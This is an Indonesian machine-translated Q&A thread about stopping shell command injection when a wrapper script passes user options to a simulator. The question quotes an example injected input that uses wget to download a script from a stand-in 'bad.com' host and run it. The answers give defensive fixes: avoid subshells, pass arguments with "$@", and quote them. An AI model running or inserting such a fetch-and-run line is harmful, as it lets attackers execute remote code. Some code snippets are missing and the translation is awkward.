Saya memiliki aplikasi pembungkus di mana saya harus membiarkan pengguna menentukan opsi khusus untuk diteruskan ke simulator. Namun, saya ingin memastikan pengguna tidak menyuntikkan perintah lain melalui opsi pengguna. Apa cara terbaik untuk mencapai ini?
Sebagai contoh.
- Pengguna menyediakan:
-a -b
- Aplikasi dijalankan:
mysim --preset_opt -a -b
Namun, saya tidak ingin ini terjadi:
- Pengguna menyediakan:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- Aplikasi dijalankan:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Saat ini, saya berpikir bahwa saya dapat mengelilingi setiap pilihan yang disediakan pengguna dengan tanda kutip tunggal '
dan menghapus tanda kutip tunggal yang disediakan pengguna, sehingga perintah dalam contoh terakhir akan berubah menjadi tidak berbahaya:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Catatan: mysim
Perintah dijalankan sebagai bagian dari skrip shell dalam wadah buruh pelabuhan / lxc. Saya menjalankan Ubuntu.
eval
untuk menjalankan aplikasi? Jika tidak, suntikan tidak boleh terjadi:x="&& echo Doomed" ; echo $x
eval
. Saya memanggil executablemysim
di dalam skrip shell. Saya melihat injeksi terjadi jika saya cukup menyalin serangkaian opsi yang disediakan pengguna dan menempelkannya di akhirmysim
perintah.-a -b
. Jadi saya mencari untuk memastikan bahwa perintah tambahan tidak disuntikkan dalam string itu.[a-zA-Z0-9 _-]
terlihat seperti pilihan yang cukup defensif.Jawaban:
Jika Anda memiliki kontrol atas program pembungkus, maka pastikan bahwa itu tidak memanggil subkulit. Jauh di lubuk hati, instruksi untuk menjalankan suatu program terdiri dari path lengkap (absolut atau relatif ke direktori saat ini) ke executable, dan daftar string untuk dilewati sebagai argumen. Pencarian PATH, argumen pemisah spasi putih, operator mengutip dan kontrol semua disediakan oleh shell. Tanpa cangkang, tanpa rasa sakit.
Misalnya, dengan bungkus Perl, gunakan formulir daftar
exec
atausystem
. Dalam banyak bahasa, panggil salah satuexec
atauexecXXX
fungsi (unix.exec
atau apa pun namanya) alih-alihsystem
, atauos.spawn
denganshell=False
, atau apa pun.Jika pembungkusnya adalah skrip shell, gunakan
"$@"
untuk meneruskan argumen, misJika Anda tidak punya pilihan dan program pembungkus memanggil shell, Anda harus mengutip argumen sebelum meneruskannya ke shell. Cara mudah untuk mengutip argumen adalah dengan melakukan hal berikut:
'
(kutipan tunggal) dengan string empat karakter'\''
. (misalnyadon't
menjadidon'\''t
)'
di awal setiap argumen dan juga di akhir setiap argumen. (misalnya daridon't
,don'\''t
menjadi'don'\''t'
)Jika Anda perlu melakukan ini dalam pembungkus shell, inilah caranya.
(Sayangnya,
${VAR//PATTERN/REPLACEMENT}
konstruk bash , yang seharusnya berguna di sini, membutuhkan penawaran yang unik, dan saya rasa Anda tidak dapat memperolehnya'\''
sebagai teks pengganti.)sumber
Anda dapat menggunakan
${VAR//PATTERN/REPLACEMENT}
idiom Bash untuk mengubah satu kutipan'
menjadi'\''
dengan terlebih dahulu menempatkan'\''
ke dalam variabel (sebagai langkah perantara) dan kemudian memperluas variabel ini sebagaiREPLACEMENT
elemen dalam idiom Bash yang disebutkan.sumber
Anda dapat menggunakan
getopts
dibash
mana dapat mengurai argumen untuk Anda, misalnya:sumber